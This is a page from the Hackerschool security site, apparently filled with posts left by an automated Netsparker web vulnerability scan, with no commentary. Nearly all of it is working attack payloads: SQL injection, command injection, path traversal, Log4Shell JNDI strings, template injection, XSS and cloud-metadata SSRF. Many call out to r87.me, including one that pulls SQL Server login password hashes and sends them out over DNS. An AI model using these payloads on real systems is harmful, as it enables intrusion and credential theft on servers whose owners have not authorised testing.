해커스쿨 강좌실 - 정보보안의 메카 BoB로 오세요!

-1 OR 1=1

%27

"& SET /A 0xFFF9999-25867 &

"& ping -n 25 127.0.0.1 &

hTTp://r87.com/n

/../../../../../../../../../../boot.ini

response.write(268409241-65756)'

-1'||'1'=='1

${28275*28275-(40972)}

' WAITFOR DELAY '0:0:25'-- /* 154deebe-d7d5-48d7-83aa-4cb87de09e4d */

N3tSp4rK3R

ns:netsparker056650=vuln

-1 OR 1=1

NS09竊쐓1折쩊BL跏SNGL賈NS09

';sleep(25000);ns();' /* f5db28ac-6883-432a-8f87-b64ae2ef8143 */

]>&lfi;

mgn-syp1wnwhy5yq9eb_8zvtccbcghorj372abhsh4q.r87.me

-1'||1=='1

'"/$[].>

exec('xp_dirtree ''\\mgn-syp1wnzsk-dyad7chhlbgpnlcjwl0jw8kkdt'+'zz4.r87.me'+'\c$\a''')

%dtd;]>&a;

-1 OR 1=1

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

http://r87.com/n?.html

'& ping -n 25 127.0.0.1 &

gethostbyname(trim('mgn-syp1wnzptlhj6fvxdwojiea-h4deeaoxpbgi'.'-dw.r87.me'))

${jndi:dns://mgn-syp1wnhjlohwz3vim5m6aqxq0v8s${lower:v}n30e9en49c.r87.me}

/../../../../../../../../../../boot.ini.html

https://www.hackerschool.org/trace.axd

-1'||'a'=='a

+response.write(268409241-39217)'

http://example.com/? ns: netsparker056650=vuln

=268409241-58716

#{28275*28275-(76349)}

1 WAITFOR DELAY '0:0:25'-- /* 9e62043d-7092-4428-bf0f-4117cfd7df4c */

N3tSp4rK3R
Oct 28, 2024 11:34

-1 OR 1=1

http://mgn-syp1wnm8sr1qnj_tdj25yzssdp1cwexmuujfe0x.r87.me/p/

'& SET /A 0xFFF9999-83837 &

NS09竊쐓1折쩊BL跏SNGL賈NS09
Oct 28, 2024 11:34

%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* ce51e915-a952-4016-a040-38f5e0f0fbfa */

//mgn-syp1wnj9ucmpubmoq50yoovgj8exnvn9ph4mxnu.r87.me

]>&lfi;

-1'||true||'

'"-->

%27%22%2f%24%5b%5d.%3e

'"-->netsparker(0x01AEF8)

%dtd;]>&a;

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.mgn-syp1wnkqyitxi4hvcp0h6i-wivipbhriesuq'+'dnm.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

' OR 0=1 OR

http://r87.com/n?.html

${j${env:bmV0c3Bhcmtlcg:-n}di:dns://mgn-syp1wn${lower:1}v4tbpmwkcjac8vfxhcq6wz6orgp_l3uo.r87.me}

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

www.hackerschool.org/trace.axd

& ping -n 25 127.0.0.1 &

gethostbyname(trim('mgn-syp1wnc-gb7ouwcuqy3lknqdi2o7pugviswp'.'ley.r87.me'));

-1'||'1'=='2

ns:netsparker056650=vuln

"+response.write(268409241-5885)+"

WAITFOR DELAY '0:0:25'-- /* 1566445a-0442-4b95-99ce-ece641423718 */

NS-1NO

php://filter//resource=http://mgn-syp1wn76poogylgdbu4gjagaszkzm7pnxyg9nf3.r87.me/p/

& SET /A 0xFFF9999-18851 &

';sleep(25000);ns();' /* 38456888-7f9e-4f8c-bbd2-72694da6c3ef */
Oct 28, 2024 11:36

1/../../../../../../../../../../boot.ini

${28275*28275-(23967)}
Oct 28, 2024 11:36

http://r87.me/r/?id=mgn-syp1wnzkfbzpstr7kvihrwjg7xy6nkpvzpqsv64

Oct 28, 2024 11:36

-1'||'N'=='3

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x01AF8A%29%3C%2FscRipt%3E

'"/$[].>
Oct 28, 2024 11:36

%dtd;]>&a;

-1 OR 'X'='ss

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

1;exec('xp_dirtree ''\\mgn-syp1wnbohvqevwz4wdrp9dt6osnd8engiqk9'+'pza.r87.me'+'\c$\a''')--

php://filter//resource=http://r87.com/n?.html

54.180.177.131/trace.axd

${${::-j}${::-n}${::-d}${::-i}:${::-d}${::-n}${::-s}://mgn-syp1wn3gur41q-pz4vs${lower:_}gukgdiosre1oxhok660.r87.me}

ping -n 25 127.0.0.1 &

'||'7892'=='7893

ns:netsparker056650=vuln

${x?string["0"]}

1) WAITFOR DELAY '0:0:25'-- /* 29f2df2c-0d2d-4260-81ef-4234d5608705 */

-1' OR 1=1 OR 'ns'='ns

mgn-syp1wncocmv58v4o6jyzreumzfqidfnojakcwub.r87.me/p/

%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* 5c0ee7e0-cc5f-4be6-bdb6-ba7547b49ba3 */
Oct 28, 2024 11:37

file:///boot.ini

mgn-syp1wnup_0-x17ptvg9zt1jucqpupfszpub_7lw.r87.me
Oct 28, 2024 11:37

+gethostbyname(trim('mgn-syp1wnluttygipdk6zrjre18yjdeuz8yk2c0'.'-ig.r87.me'));//

]>&
Oct 28, 2024 11:37

'||'7891'=='7891

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDFCMTU3KTwvc2NyaXB0Pg==

#{28275*28275-(12600)}
Oct 28, 2024 11:37

%27%22%2f%24%5b%5d.%3e
Oct 28, 2024 11:37

Oct 28, 2024 11:37

-1" OR 1=1 OR "ns"="ns

SET /A 0xFFF9999-97692 &

-1';exec('xp_dirtree ''\\mgn-syp1wn6fspcn_sl1zclpr9fqbwjz1bp_nvzj'+'dhe.r87.me'+'\c$\a''')--

r87.com/n

${jndi:dns://mgn-syp1wnz6t774xpeuq9e8zew07gitjbtza${lower:0}91q1g.r87.me}
Oct 28, 2024 11:37

127.100.11.2/trace.axd

"&ping -w 25 127.0.0.1 &"

'||7890=='7890

') WAITFOR DELAY '0:0:25'-- /* da66ba9a-c3be-4586-903a-49cb1a88c31d */

-1 OR 17-7=10

http://mgn-syp1wn13pbgxhmsjawxak_jnupljaxlfww5fflb.r87.me/p/
Oct 28, 2024 11:38

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

c:\boot.ini

ns:netsparker056650=vuln
Oct 28, 2024 11:38

'+gethostbyname(trim('mgn-syp1wnpx1hobpqpxhntegcysyoduqkqw65x9'.'tkg.r87.me'))+'

//mgn-syp1wnivsdpgnbauoixns7hrd_agfb7joswcffk.r87.me
Oct 28, 2024 11:38

print(int)0xFFF9999-75549

'" ns=netsparker(0x01B356)

'||true||'

Oct 28, 2024 11:38

-1 OR NS='ss

SET /A 0xFFF9999-85467

hTTp://r87.com/n
Oct 28, 2024 11:38

127.0.0.1/trace.axd

1) exec('xp_dirtree ''\\mgn-syp1wnln-i4ynoktm8h1azy3t7aje4oypcsk'+'mim.r87.me'+'\c$\a''')--

@(268409241-98784)

'||NS=='ss

php://filter//resource=http://mgn-syp1wn9bkb4bryusuvpw5u_kbc27m9_yuruc4xf.r87.me/p/
Oct 28, 2024 11:39

-1' OR 1=1 OR '1'='1

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

')) WAITFOR DELAY '0:0:25'-- /* 55de81fc-67f8-40c5-b4b7-212fa5131ec1 */

${j${env:bmV0c3Bhcmtlcg:-n}di:dns://mgn-syp1wnav-oesdjmpuojx${lower:h}hyssl3fwnd13mnkgee.r87.me}
Oct 28, 2024 11:39

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

http://example.com/? ns: netsparker056650=vuln
Oct 28, 2024 11:39

"+gethostbyname(trim('mgn-syp1wny-0-9tsqiqxapzmxcb8tjry6ijdtm2'.'tec.r87.me'))+"

http://r87.me/r/?id=mgn-syp1wn8ix3fc2hb_yoehani-1tf1xovhfhcjyf4
Oct 28, 2024 11:39

print(int)0xFFF9999-56178;

1 ns=netsparker(0x01B614)

Oct 28, 2024 11:39

-1'||'1'=='1

-1' OR 1=1 OR '1'='1

| SET /A 0xFFF9999-5711

1')exec('xp_dirtree ''\\mgn-syp1wnhvj0m_mgsnz7xqs3kwydclrhfuecac'+'qwo.r87.me'+'\c$\a''')--

[::1]/trace.axd

http://r87.com/n?.html
Oct 28, 2024 11:39

-1'||1=='1

mgn-syp1wnizi2cplqh7k8n5p2r8dlzpkfpalx4a3ub.r87.me/p/
Oct 28, 2024 11:40

-1" OR 1=1 OR "1"="1

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

1)) WAITFOR DELAY '0:0:25'-- /* 598607ee-2246-41bf-a5be-6d5d7947daba */

${${::-j}${::-n}${::-d}${::-i}:${::-d}${::-n}${::-s}://mgn-syp1wnk0o3kjph7z1zbbr${lower:0}xvq70cmjue
Oct 28, 2024 11:40

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

ns:netsparker056650=vuln
Oct 28, 2024 11:40

+print(int)0xFFF9999-18216;//

-1'||'a'=='a

-1" OR 1=1 OR "1"="1

&ping -w 25 127.0.0.1 &

1))exec('xp_dirtree ''\\mgn-syp1wnxdjhjabfny_lyvzeqw9jz-1jsnubeo'+'has.r87.me'+'\c$\a''')--

http://r87.com/n?.html
Oct 28, 2024 11:40

https://www.hackerschool.org/elmah.axd

1";expr 268409241 - 46708;"

-1 OR 1=1

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* e3541b90-1af9-46ec-b534-96faee19e067 */

'{${gethostbyname(trim('mgn-syp1wn-wi-ivczhqzqay22niiscnxjwj8klg'.'jk4.r87.me'))}}'

ns:netsparker056650=vuln
Oct 28, 2024 11:41

file%3a%2f%2f%2fboot.ini

'+print(int)0xFFF9999-48323+'

-1 OR 1=1

-1'||'1'=='2

ping -w 25 127.0.0.1 &

1'))exec('xp_dirtree ''\\mgn-syp1wnm9ic_hxhlyc_gplbdbzhimbckosxlh'+'46i.r87.me'+'\c$\a''')--

www.hackerschool.org/elmah.axd

php://filter//resource=http://r87.com/n?.html
Oct 28, 2024 11:42

1';expr 268409241 - 27304;'

-1 OR 1=1

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 32a3db05-1a00-474c-bd13-2d518169c13e */

createobject("WScript.Shell").exec("nslookup mgn-syp1wnq51mdcycnppxt7cgwweztszppcg-gv" & "nm4.r87.me").StdOut.ReadAll

"+print(int)0xFFF9999-96054+"

-1 OR 1=1

ping -n 25 127.0.0.1

c%3a%5cboot.ini

syscolumns WHERE 2>3;exec('xp_dirtree ''\\mgn-syp1wniynsgre7vfv-ixvffqwesvasd3ml7p'+'lsu.r87.me'+'\c$\a''')--

54.180.177.131/elmah.axd

1;expr 268409241 - 73324;x

' OR 0=1 OR

'||'7892'=='7893

r87.com/n
Oct 28, 2024 11:43

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* f3f781a3-3d11-4db1-9b94-987eb8250905 */

{{268409241-31799}}
Oct 28, 2024 11:43

NS-1NO

'||'7891'=='7891

javascript:netsparker(0x01BD21)

ping -w 25 127.0.0.1

/../../../../../../../../../../web.config

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','mgn-syp1wnijzbiiveglofln3zd2_vlksx7ohfvl'+'-t8.r87.me')exec sp_executesql @r

-1 OR 'X'='ss

'||7890=='7890

127.100.11.2/elmah.axd

expr 268409241 - 2838;

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

{php}print(int)0xFFF9999-83196;{/php}

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* add75fdc-6c51-4e15-9af8-c41938ededae */

-1' OR 1=1 OR 'ns'='ns

'||true||'

=268409241-71389
Oct 28, 2024 11:44

ns(0x01BECD)

|ping -n 25 127.0.0.1

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','mgn-syp1wngwoigtx9rmy93floefrfvw8lgyxhtf'+'zog.r87.me')exec sp_executesql @r--

+createobject("WScript.Shell").exec("nslookup mgn-syp1wnke7qydj0prm6dow3vzhqh7i_rkr1sp" & "fec.r87.me").StdOut.ReadAll+

-1" OR 1=1 OR "ns"="ns

'||NS=='ss

127.0.0.1/elmah.axd

/../../../../../../../../../../windows/win.ini

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

expr 268409241 - 83406

'{${print(int)0xFFF9999-92822}}'

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 077d5fab-002d-46ed-8f84-64b897b3ec97 */

-1 OR 17-7=10

Oct 28, 2024 11:45

-1'||'1'=='1
Oct 28, 2024 11:45

*/netsparker(0x01C189);/*

|sleep 25

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','mgn-syp1wnfbgipd3rjauxd5fls_1pemysva2aai'+'sg8.r87.me')exec sp_executesql @r--

-1 OR NS='ss

-1'||1=='1
Oct 28, 2024 11:46

[::1]/elmah.axd

file:///windows/win.ini

NSFTW

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* d15e5a33-f22d-4b52-8dca-9cb1747c6c05 */

[php]print(int)0xFFF9999-99096;[/php]

-1' OR 1=1 OR '1'='1

-1'||'a'=='a
Oct 28, 2024 11:46

${x?string["0"]}
Oct 28, 2024 11:46

'+netsparker(0x01C461)+'

SELECT dblink_connect('host=mgn-syp1wn54kvpiohubuhep11lhxin8l_xdidcz'||'xwy.r87.me user=a password=a connect_timeout=2')

-1' OR 1=1 OR '1'='1

"& ping -n 25 127.0.0.1 &
Oct 28, 2024 11:47

"+createobject("WScript.Shell").exec("nslookup mgn-syp1wnxzuvtldadxeqwp6maf2sb2e5bmilce" & "amw.r87.me").StdOut.ReadAll+"

-1'||true||'
Oct 28, 2024 11:47

/../../../../../../../../../../windows/win.ini.html

https://www.hackerschool.org/elmah

'+NSFTW+'

|expr${IFS}268409241${IFS}-${IFS}51696

((select sleep(25)))a-- 1 /* 1b3ed62c-ce28-4ea9-a770-6dd50a086bc9 */

-1" OR 1=1 OR "1"="1

Oct 28, 2024 11:47

-1'||'1'=='2
Oct 28, 2024 11:48

"+netsparker(0x01C821)+"

dblink_connect('host=mgn-syp1wncgk3va2jobj9iyahv4bo4q0wuh4yfc'||'etq.r87.me user=a password=a connect_timeout=2')

'& ping -n 25 127.0.0.1 &
Oct 28, 2024 11:48

-1" OR 1=1 OR "1"="1

gethostbyname(lc 'mgn-syp1wn_dpitjrpqxgd05bkghrkzhnrtpwp0p'.'kso.r87.me')

c:\windows\win.ini

-1'||'N'=='3
Oct 28, 2024 11:48

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

|expr 268409241 - 82889

www.hackerschool.org/elmah

-1 OR 1=1
Oct 28, 2024 11:49

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* 4478a6a1-8f2a-49d5-90e9-feeb39b977a1 */

@(268409241-20187)
Oct 28, 2024 11:49

'||'7892'=='7893
Oct 28, 2024 11:49

\';netsparker(0x01C88E);///

print localtime()*0+0xFFF9999-42183

cast((SELECT dblink_connect('host=mgn-syp1wnyet1ipl8tkl_dsqkbanar-aryxpdwk'||'mdu.r87.me user=a password=a connect_timeout=2')) as numeric)

& ping -n 25 127.0.0.1 &
Oct 28, 2024 11:49

-1 OR 1=1
Oct 28, 2024 11:49

eval('gethostbyname(lc 'mgn-syp1wnl6u9luiyjocog4k4sp3qa0eesrkisq'.'rae.r87.me')')

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

'||'7891'=='7891
Oct 28, 2024 11:49

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

expr 268409241 - 78772

54.180.177.131/elmah

-1 OR 1=1
Oct 28, 2024 11:50

{{ 268409241- 86763 }}
Oct 28, 2024 11:50

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' /* 9fdc424a-20ec-49ed-8d6f-0cd75bfd06e9 */

'||7890=='7890
Oct 28, 2024 11:50

eval('print localtime()*0+0xFFF9999-28722')

',netsparker(0x01CA65),'

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(109)||chr(103)||chr(110)||chr(45)||chr(115)||chr(121)||chr(112)||chr(49)||chr(119)||chr(110)||chr(115)||chr(102)||chr(99)||chr(52)||chr(56)||chr(121)||chr(117)||chr(102)||chr(112)||chr(118)||chr(105)||chr(104)||chr(106)||chr(48)||chr(103)||chr(55)||chr(113)||chr(110)||chr(105)||chr(108)||chr(99)||chr(99)||chr(116)||chr(52)||chr(105)||chr(112)||chr(98)||chr(111)||chr(54)||chr(114)||chr(102)||chr(122)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

-1 OR 1=1
Oct 28, 2024 11:50

'+gethostbyname(lc 'mgn-syp1wnqp6gk3w0dqy2eeuzw8km_bnlxbxn_c'.'8hq.r87.me')+'

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

'||true||'
Oct 28, 2024 11:50

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

"& SET /A 0xFFF9999-57838 &
Oct 28, 2024 11:50

127.100.11.2/elmah

ping -n 25 127.0.0.1 &
Oct 28, 2024 11:50

' OR 0=1 OR
Oct 28, 2024 11:51

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* 211aadd1-9103-4b85-9317-e057e0118a56 */

(268409241-85008)
Oct 28, 2024 11:51

'||NS=='ss
Oct 28, 2024 11:51

netsparker(0x01CB1D)

'||(SELECT dblink_connect('host=mgn-syp1wnhcc7z_02jko50rvuaklu1xo_zwq4om'||'mro.r87.me user=a password=a connect_timeout=2'))||'

";l=document.createElement("link");l.rel="prefetch";l.href="//mgn-syp1wnljtkfdqavaanx0upgqmpsk41ymzuiv"+"owo.r87.me/r/?"+location.href;document.head.appendChild(l);//

'+print localtime()*0+0xFFF9999-14482+'

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

-1'||'1'=='1
Oct 28, 2024 11:51

127.0.0.1/elmah

'& SET /A 0xFFF9999-49490 &
Oct 28, 2024 11:51

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

NS-1NO
Oct 28, 2024 11:52

"&ping -w 25 127.0.0.1 &"
Oct 28, 2024 11:52

-1'||1=='1
Oct 28, 2024 11:52

-1 OR 'X'='ss
Oct 28, 2024 11:52

netsparker(0x01CCB9);

(select UTL_INADDR.GET_HOST_ADDRESS('mgn-syp1wn7ekhennye88iukujrc-ncvsvlylfb4'||'nja.r87.me') from DUAL)

"+print localtime()*0+0xFFF9999-13671+"

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

-1'||'a'=='a
Oct 28, 2024 11:52

& SET /A 0xFFF9999-37441 &
Oct 28, 2024 11:52

1';SELECT pg_sleep(25)-- /* 79b79ca9-8f2d-49a7-bbbc-616da958f79e */

[::1]/elmah

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

-1' OR 1=1 OR 'ns'='ns
Oct 28, 2024 11:53

'&ping -w 25 127.0.0.1 &'
Oct 28, 2024 11:53

Smith
Oct 28, 2024 11:53

-1'||true||'
Oct 28, 2024 11:53

-1" OR 1=1 OR "ns"="ns
Oct 28, 2024 11:53

Smith
Oct 28, 2024 11:53

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('mgn-syp1wnokusndsuhx_hnjxgdqxbpcz7maacmn'||'evs.r87.me') from DUAL))))

Smith
Oct 28, 2024 11:53

arguments[1].end(require('child_process').execSync('expr 268409241 - 35912'))

-1'||'1'=='2
Oct 28, 2024 11:54

1;SELECT pg_sleep(25)-- /* 6cb4c418-f859-4404-aed2-367617f05049 */

SET /A 0xFFF9999-30283 &
Oct 28, 2024 11:54

nslookup mgn-syp1wntkx1vfqwxtpzq_4gobudwyxqcy0cfu^quc.r87.me&'\"`0&nslookup mgn-syp1wntkx1vfqwxtpzq_4gobudwyxqcy0cfu^quc.r87.me&`'

'+netsparker(0x01CE51)+'

&ping -w 25 127.0.0.1 &
Oct 28, 2024 11:54

-1 OR 17-7=10
Oct 28, 2024 11:54

/../../../../../../../../../../windows/iis6.log

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

-1'||'N'=='3
Oct 28, 2024 11:54

http://aws.r87.me/latest/meta-data/public-hostname

-1 OR NS='ss
Oct 28, 2024 11:54

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('mgn-syp1wnoao_ug3mymmw3mgbh5ob1kg6lyqyay'||'664.r87.me') from DUAL))||'

';l=document.createElement("link");l.rel="prefetch";l.href="//mgn-syp1wnwwsnxbluonugq_y-mdtqfgmpm3cnbm"+"knu.r87.me/r/?"+location.href;document.head.appendChild(l);//

arguments[1].end(require('child_process').execSync('set /A 268409241 - 85843'))

& nslookup mgn-syp1wnb9ysp-1o6jb8psncw4qziikh77zabe^6fa.r87.me&'\"`0&nslookup mgn-syp1wnb9ysp-1o6jb8psncw4qziikh77zabe^6fa.r87.me&`'

'||'7892'=='7893
Oct 28, 2024 11:55

SELECT pg_sleep(25)-- /* 841944c5-d3e4-466c-a9bb-a1f73f4c93fa */

SET /A 0xFFF9999-50297
Oct 28, 2024 11:55

'"@-->netsparker(0x01D058)

-1' OR 1=1 OR '1'='1
Oct 28, 2024 11:55

ping -w 25 127.0.0.1 &
Oct 28, 2024 11:55

/../../../../../../../../../../proc/self/fd/2

-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

http://169.254.169.254/latest/meta-data/public-hostname

'||'7891'=='7891
Oct 28, 2024 11:55

-1' OR 1=1 OR '1'='1
Oct 28, 2024 11:55

%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-7574)}

(select UTL_INADDR.GET_HOST_ADDRESS(chr(109)||chr(103)||chr(110)||chr(45)||chr(115)||chr(121)||chr(112)||chr(49)||chr(119)||chr(110)||chr(53)||chr(107)||chr(116)||chr(111)||chr(49)||chr(102)||chr(100)||chr(113)||chr(115)||chr(108)||chr(111)||chr(121)||chr(120)||chr(112)||chr(119)||chr(116)||chr(116)||chr(122)||chr(53)||chr(101)||chr(119)||chr(56)||chr(107)||chr(121)||chr(118)||chr(102)||chr(107)||chr(102)||chr(97)||chr(120)||chr(112)||chr(51)||chr(119)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)

1);SELECT pg_sleep(25)-- /* 309387df-3a1e-43cf-84a0-944c160a9223 */

'& nslookup mgn-syp1wn4skmcu9c1eajt_kowecunb5pijceva^pas.r87.me&'\"`0&nslookup mgn-syp1wn4skmcu9c1eajt_kowecunb5pijceva^pas.r87.me&`'

'||7890=='7890
Oct 28, 2024 11:56

| SET /A 0xFFF9999-55565
Oct 28, 2024 11:56

ping -n 25 127.0.0.1
Oct 28, 2024 11:56

-1" OR 1=1 OR "1"="1
Oct 28, 2024 11:56

/../../../../../../../../../../proc/self/fd/2.html

%22%2bnetsparker(0x01D237)%2b%22

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1

http://127.0.0.1:22

'||true||'
Oct 28, 2024 11:56

-1" OR 1=1 OR "1"="1
Oct 28, 2024 11:57

p "#{0xFFF9999.to_i-`echo 14848`.to_i}"

1');SELECT pg_sleep(25)-- /* fe82a3ae-c69a-41fb-9296-22b230c8f6e2 */

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(109)||chr(103)||chr(110)||chr(45)||chr(115)||chr(121)||chr(112)||chr(49)||chr(119)||chr(110)||chr(122)||chr(52)||chr(97)||chr(95)||chr(118)||chr(54)||chr(51)||chr(115)||chr(49)||chr(101)||chr(113)||chr(112)||chr(45)||chr(109)||chr(55)||chr(121)||chr(95)||chr(115)||chr(100)||chr(54)||chr(56)||chr(113)||chr(101)||chr(98)||chr(113)||chr(118)||chr(116)||chr(50)||chr(57)||chr(57)||chr(54)||chr(104)||chr(97)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))

'||NS=='ss
Oct 28, 2024 11:57

"& nslookup mgn-syp1wn0nnlq90_m3wxr4dczuwjocstfn81-m^rt8.r87.me&'\"`0&nslookup mgn-syp1wn0nnlq90_m3wxr4dczuwjocstfn81-m^rt8.r87.me&`'

1";expr 268409241 - 13297;"
Oct 28, 2024 11:57

-1 OR 1=1
Oct 28, 2024 11:57

netsparker(0x01D50A)

ping -w 25 127.0.0.1
Oct 28, 2024 11:57

' UNION ALL SELECT CHAR(95)||CHAR(33)||CHAR(64)||CHAR(54)||CHAR(100)||CHAR(105)||CHAR(108)||CHAR(101)||CHAR(109)||CHAR(109)||CHAR(97) FROM INFORMATION_SCHEMA.SYSTEM_USERS-- zDyA

http://54.180.177.131:22

/../../../../../../../../../../etc/httpd/logs/error.log

-1 OR 1=1
